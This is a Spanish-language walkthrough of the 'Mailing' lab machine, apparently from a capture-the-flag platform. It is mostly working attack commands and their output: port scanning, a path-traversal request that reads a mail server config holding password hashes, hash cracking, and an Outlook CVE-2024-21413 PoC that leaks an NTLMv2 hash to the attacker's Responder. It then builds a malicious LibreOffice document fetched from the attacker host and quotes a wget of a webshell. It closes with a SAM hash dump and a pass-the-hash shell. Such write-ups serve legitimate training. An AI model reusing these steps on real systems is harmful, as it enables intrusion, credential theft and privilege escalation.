Mailing

nmap

```
nmap -sC -sV 10.10.11.14
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 17:50 EDT
Nmap scan report for 10.10.11.14
Host is up (0.12s latency).
Not shown: 992 filtered tcp ports (no-response)
PORT    STATE SERVICE       VERSION
25/tcp  open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp  open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to http://mailing.htb
110/tcp open  pop3          hMailServer pop3d
|_pop3-capabilities: UIDL TOP USER
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
465/tcp open  ssl/smtp      hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
587/tcp open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp open  ssl/imap      hMailServer imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_imap-capabilities: SORT IMAP4 IMAP4rev1 OK ACL IDLE completed QUOTA CAPABILITY RIGHTS=texkA0001 NAMESPACE CHILDREN
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-05-18T21:51:01
|_  start_date: N/A
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 80.24 seconds


masscan -p1-65355,U:1-65535 10.10.11.14 --rate=1000 -e tun0
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2024-05-18 21:55:53 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [130890 ports/host]
Discovered open port 587/tcp on 10.10.11.14
Discovered open port 49667/tcp on 10.10.11.14
Discovered open port 49666/tcp on 10.10.11.14
Discovered open port 80/tcp on 10.10.11.14
Discovered open port 49665/tcp on 10.10.11.14
Discovered open port 5040/tcp on 10.10.11.14
Discovered open port 465/tcp on 10.10.11.14
Discovered open port 445/tcp on 10.10.11.14
Discovered open port 57224/tcp on 10.10.11.14
Discovered open port 56630/tcp on 10.10.11.14
Discovered open port 47001/tcp on 10.10.11.14
Discovered open port 49664/tcp on 10.10.11.14
Discovered open port 993/tcp on 10.10.11.14
Discovered open port 135/tcp on 10.10.11.14
Discovered open port 143/tcp on 10.10.11.14
```

Discovered open port 139/tcp on 10.10.11.14
Discovered open port 5985/tcp on 10.10.11.14
Discovered open port 25/tcp on 10.10.11.14
Discovered open port 49668/tcp on 10.10.11.14

LFI

#Realizamos una petición de descarga a ../../etc/hosts
GET /download.php../../etc/passwd HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: http://mailing.htb/

Upgrade-Insecure-Requests: 1

#Vemos este error <fieldset>

 <h2>404 - File or directory not found.</h2>

 <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>

</fieldset>

#Probamos con LFI al fichero MailServer..INI, vermos algunos hashes.
?file=../../../Program+Files+(x86)/hMailServer/Bin/hMailServer..INI

 GET /download.php?file=../../../Program+Files+(x86)/hMailServer/bin/hMailServer.INI HTTP/1.1

Host: mailing.htb

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Referer: http://mailing.htb/

Upgrade-Insecure-Requests: 1

#Obtenemos la respuesta del servidor:

```
HTTP/1.1 200 OK
Cache-Control: must-revalidate
Pragma: public
Content-Type: application/octet-stream
Expires: 0
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/8.3.3
Content-Description: File Transfer
Content-Disposition: attachment; filename="hMailServer.INI"
X-Powered-By: ASP.NET
Date: Sat, 01 Jun 2024 13:59:23 GMT
Connection: close
Content-Length: 604

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
```

```
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Type=MSSQLCE
Username=
Password=0a9f8ad8bf896b501dde74f08efd7e4c
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1
```

#Le haremos bruteforce al hash del admin.
hash=841bb5acfa6779ae432fd7a4e6600ba7

HASH: 841bb5acfa6779ae432fd7a4e6600ba7

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

hashcat hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 0
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==========
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache built:
* Filename..: /home/alle/Desktop/wordlists/rockyou.txt
* Passwords.: 14344395
* Bytes.....: 139921532
* Keyspace..: 14344388
* Runtime...: 1 sec

841bb5acfa6779ae432fd7a4e6600ba7:homenetworkingadministrator

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)

Hash.Target.....: 841bb5acfa6779ae432fd7a4e6600ba7
Time.Started.....: Sat Jun 1 16:07:50 2024 (2 secs)
Time.Estimated...: Sat Jun 1 16:07:52 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/alle/Desktop/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3625.6 kH/s (0.24ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 7563264/14344388 (52.73%)
Rejected.........: 0/7563264 (0.00%)
Restore.Point....: 7557120/14344388 (52.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: honey@miel -> home38886951

Started: Sat Jun 1 16:07:48 2024
Stopped: Sat Jun 1 16:07:54 2024

#Tenemos las credenciales.
user → admin
passwd → homenetworkingadministrator

CVE-2024-21413

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC

#Aplicaremos este poc en base a las intrusctrios.pdf descargado anteriormente
https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability.git

#Abrimos el responder:
sudo responder -I tun0

#Ejecutamos el poc.
python3 CVE-2024-21413.py --server 10.10.11.14 --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.14.106\test\meeting" --subject test

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de

✅ Email sent successfully.

```
sudo responder -I tun0                                    __
 .----.-----.-----.-----.-----.-----.--|  |.-----.----.
 |  _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
 |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                  |__|

         NBT-NS, LLMNR & MDNS Responder 3.1.4.0

  To support this project:
  Github -> https://github.com/sponsors/lgandx
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                [ON]
    NBT-NS               [ON]
    MDNS                 [ON]
    DNS                  [ON]
    DHCP                 [OFF]

[+] Servers:
    HTTP server          [ON]
    HTTPS server         [ON]
    WPAD proxy           [OFF]
    Auth proxy           [OFF]
    SMB server           [ON]
    Kerberos server      [ON]
    SQL server           [ON]
    FTP server           [ON]
    IMAP server          [ON]
    POP3 server          [ON]
    SMTP server          [ON]
    DNS server           [ON]
    LDAP server          [ON]
    MQTT server          [ON]
    RDP server           [ON]
    DCE-RPC server       [ON]
    WinRM server         [ON]
    SNMP server          [OFF]

[+] HTTP Options:
    Always serving EXE       [OFF]
    Serving EXE              [OFF]
    Serving HTML             [OFF]
    Upstream Proxy           [OFF]

[+] Poisoning Options:
```

```
    Analyze Mode              [OFF]
    Force WPAD auth           [OFF]
    Force Basic Auth          [OFF]
    Force LM downgrade        [OFF]
    Force ESS downgrade       [OFF]

[+] Generic Options:
    Responder NIC             [tun0]
    Responder IP              [10.10.14.106]
    Responder IPv6            [dead:beef:2::1068]
    Challenge set             [random]
    Don't Respond To Names    ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name    [WIN-YYOTGMQG8A6]
    Responder Domain Name     [2HBX.LOCAL]
    Responder DCE-RPC Port    [45360]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.14
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:5e66b419752064cc:48D196DC9900056DDAABF450BDC46A1C:
0101000000000000000E0194A3FB4DA01B8EA0810AF3714FA000000000200080032004800420058000100 1E00570049004E002D00590059004F005
40047004D00510047003800410036000400340057004900 4E002D00590059004F00540047004D00510047003800410036002E0032004800420058
002E004C004F00430041004C0003001400320048004200 58002E004C004F00430041004C0003001400320048004200 58002E004C004F004300410
04C000700080000E0194A3FB4DA01060004000200000008003000300000000000000000000000002000005894CCD280BCF6D99B76971C6D9C9
97FFADDB89A8D04623D2F4B17FA3A5C83700A0010000000000000000000000000000000000000009002200630069006600 73002F00310030002E003
10030002E00310034002E00310030003600000000000000000000
[*] Skipping previously captured hash for MAILING\maya

#Una vez tenemos el hash, proceremos a crackearlo.
hash.txt
```

```
maya::MAILING:5e66b419752064cc:48D196DC9900056DDAABF450BDC46A1C:
0101000000000000000E0194A3FB4DA01B8EA0810AF3714FA000000000200080032004800420058000100 1E00570049004E002
D00590059004F00540047004D00510047003800410036000400340057004900 4E002D00590059004F00540047004D00510047
003800410036002E0032004800420058002E004C004F00430041004C0003001400320048004200 58002E004C004F004300410
04C000500140032004800420058002E004C004F00430041004C000700080000E0194A3FB4DA01060004000200000008003000
030000000000000000000000000002000005894CCD280BCF6D99B76971C6D9C997FFADDB89A8D04623D2F4B17FA3A5C83700A0
010000000000000000000000000000000000000009002200630069006600 73002F00310030002E00310030002E00310034002
E00310030003600000000000000000000
```

```
#Ya tenemos las credenciles:

hashcat NTLMv2_hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 0hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl
project]
============================================================================================================================
==================================
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashfile 'NTLMv2_hash.txt' on line 1 (maya::...2E00310030003600000000000000000000): Token length exception

* Token length exception: 1/1 hashes
  This error happens if the wrong hash type is specified, if the hashes are
  malformed, or if input is otherwise not as expected (for example, if the
  --username option is used but no username is present)

No hashes loaded.

Started: Sat Jun  1 16:23:07 2024
Stopped: Sat Jun  1 16:23:08 2024

┌──(alle㉿DESKTOP-H80F5II)-[~/Desktop/machines/Mailing]
└─$ hashcat NTLMv2_hash.txt --wordlist /home/alle/Desktop/wordlists/rockyou.txt -m 5600
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl
```

project]
==========
* Device #1: cpu-haswell-Intel(R) Core(TM) i5-10400F CPU @ 2.90GHz, 2882/5829 MB (1024 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 3 MB

Dictionary cache hit:
* Filename..: /home/alle/Desktop/wordlists/rockyou.txt
* Passwords.: 14344388
* Bytes.....: 139921532
* Keyspace..: 14344388

MAYA::MAILING:5e66b419752064cc:48d196dc9900056ddaabf450bdc46a1c:
0101000000000000000e0194a3fb4da01b8ea0810af3714fa0000000002000800320048004200580001001e00570049004e002d00590059004f0054004
7004d00510047003800410036000400340057004900 4e002d00590059004f00540047004d00510047003800410036002e00320048004200580 02e00
4c004f00430041004c0003001400320048004200580 02e004c004f00430041004c0003001400320048004200580 02e004c004f00430041004c00070
0080000e0194a3fb4da0106000400020000000800300030000000000000000000000000000002000005894ccd280bcf6d99b76971c6d9c997ffaddb89a8
d04623d2f4b17fa3a5c83700a0010000000000000000000000000000000000000090022006300690066007300 2f00310030002e00310030002e0031003
4002e0031003000360000000000000000000:m4y4ngs4ri

user → MAYA
passwd → m4y4ngs4ri

root

#Observamos que aplicaciones, tine el host:
Evil-WinRM PS C:\> cd "Program Files"
Evil-WinRM PS C:\Program Files> dir

Directory: C:\Program Files

Mode	LastWriteTime	Length	Name
d-----	2/27/2024 5:30 PM		Common Files
d-----	3/3/2024 4:40 PM		dotnet
d-----	3/3/2024 4:32 PM		Git
d-----	4/29/2024 6:54 PM		Internet Explorer
d-----	3/4/2024 6:57 PM		LibreOffice
d-----	3/3/2024 4:06 PM		Microsoft Update Health Tools
d-----	12/7/2019 10:14 AM		ModifiableWindowsApps
d-----	2/27/2024 4:58 PM		MSBuild
d-----	2/27/2024 5:30 PM		OpenSSL-Win64
d-----	3/13/2024 4:49 PM		PackageManagement
d-----	2/27/2024 4:58 PM		Reference Assemblies
d-----	3/13/2024 4:48 PM		RUXIM
d-----	2/27/2024 4:32 PM		VMware
d-----	3/3/2024 5:13 PM		Windows Defender
d-----	4/29/2024 6:54 PM		Windows Defender Advanced Threat Protection
d-----	3/3/2024 5:13 PM		Windows Mail
d-----	3/3/2024 5:13 PM		Windows Media Player
d-----	4/29/2024 6:54 PM		Windows Multimedia Platform
d-----	2/27/2024 4:26 PM		Windows NT
d-----	3/3/2024 5:13 PM		Windows Photo Viewer
d-----	4/29/2024 6:54 PM		Windows Portable Devices
d-----	12/7/2019 10:31 AM		Windows Security
d-----	3/13/2024 4:49 PM		WindowsPowerShell

Evil-WinRM PS C:\Program Files>
#Podemos ver que se está ejecutando Libre Office 7.4

Evil-WinRM PS C:\Program Files\LibreOffice\readmes> type readme_es.txt

==========

LÃ©ame de LibreOffice 7.4

==========

#Trataremos de explotarla con esta vulnerabilidad CVE-2023-2255:
https://www.libreoffice.org/about-us/security/advisories/cve-2023-2255/
https://github.com/elweth-sec/CVE-2023-2255

#Usage:

Exploit

Just an example to drop a webshell in current directory.
python3 CVE-2023-2255.py --cmd 'wget https://raw.githubusercontent.com/elweth-sec/CVE-2023-2255/main/webshell.php' --output 'exploit.odt'

#Creamos el exploit con el formato “exploit.odt”
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
File exploit.odt has been created !

#Mediante el comando curl, subiremos el exploit al equipo.
#Lo subiremos dentro del directorio "C:\Import Documents\"
Evil-WinRM PS C:\Important Documents> curl -o exploit.odt http://10.10.14.106/exploit.odt
Evil-WinRM PS C:\Important Documents> dir

Directory: C:\Important Documents

```
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/1/2024   4:39 PM          30526 exploit.odt
```

priv_escaltion

#Vemos los permisos que tiene el usuario
Evil-WinRM PS C:\Important Documents> net users maya
User name maya
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 2024-04-12 4:16:20 AM
Password expires Never
Password changeable 2024-04-12 4:16:20 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 2024-06-01 4:39:45 PM

Logon hours allowed All

Local Group Memberships *Remote Management Use*Usuarios
*Usuarios de escritori
Global Group memberships *Ninguno
The command completed successfully.

#Mediente el "exploit.odt", modificamos los permisos.
#Esperamos unos segundos y...

Evil-WinRM PS C:\Important Documents> net users maya
User name maya
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 2024-04-12 4:16:20 AM
Password expires Never
Password changeable 2024-04-12 4:16:20 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 2024-06-01 4:41:48 PM

Logon hours allowed All

Local Group Memberships *Administradores *Remote Management Use
*Usuarios *Usuarios de escritori
Global Group memberships *Ninguno
The command completed successfully.

#Ya tenemos permisos de adminsuración.
#Conectaremos con crackmapexe smb al recurso comartido para obener el golden ticket. TGT.
#Lo haremos mediante el uso de las credenciles del usuario maya, dumpearemos los hashes del usuario.

crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing FTP protocol database
[*] Initializing MSSQL protocol database

[*] Initializing SMB protocol database
[*] Initializing WINRM protocol database
[*] Initializing SSH protocol database
[*] Initializing RDP protocol database
[*] Initializing LDAP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB 10.10.11.14 445 MAILING [*] Windows 10 / Server 2019 Build 19041 x64 (name:MAILING) (domain:MAILING) (signing:False) (SMBv1:False)
SMB 10.10.11.14 445 MAILING [+] MAILING\maya:m4y4ngs4ri (Pwn3d!)
SMB 10.10.11.14 445 MAILING [+] Dumping SAM hashes
^[[SMB 10.10.11.14 445 MAILING Administrador:500:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:
31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.10.11.14 445 MAILING WDAGUtilityAccount:
504:aad3b435b51404eeaad3b435b51404ee:e349e2966c623fcb0a254e866a9a7e4c:::
SMB 10.10.11.14 445 MAILING localadmin:1001:aad3b435b51404eeaad3b435b51404ee:
9aa582783780d1546d62f2d102daefae:::
SMB 10.10.11.14 445 MAILING maya:1002:aad3b435b51404eeaad3b435b51404ee:af760798079bf7a3d80253126d3d28af:::
SMB 10.10.11.14 445 MAILING [+] Added 6 SAM hashes to the database

#Con impacket-wmiexec, nos conectamos con el hash.
impacket-wmiexec localadmin@10.10.11.14 -hashes "aad3b435b51404eeaad3b435b51404ee:9aa582783780d1546d62f2d102daefae"
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>cd Users
C:\Users>cd localadmin
cd DesC:\Users\localadmin>cd Desktop
tyC:\Users\localadmin\Desktop>type root.txt
89525615b4ac5188080965ddb1c4d699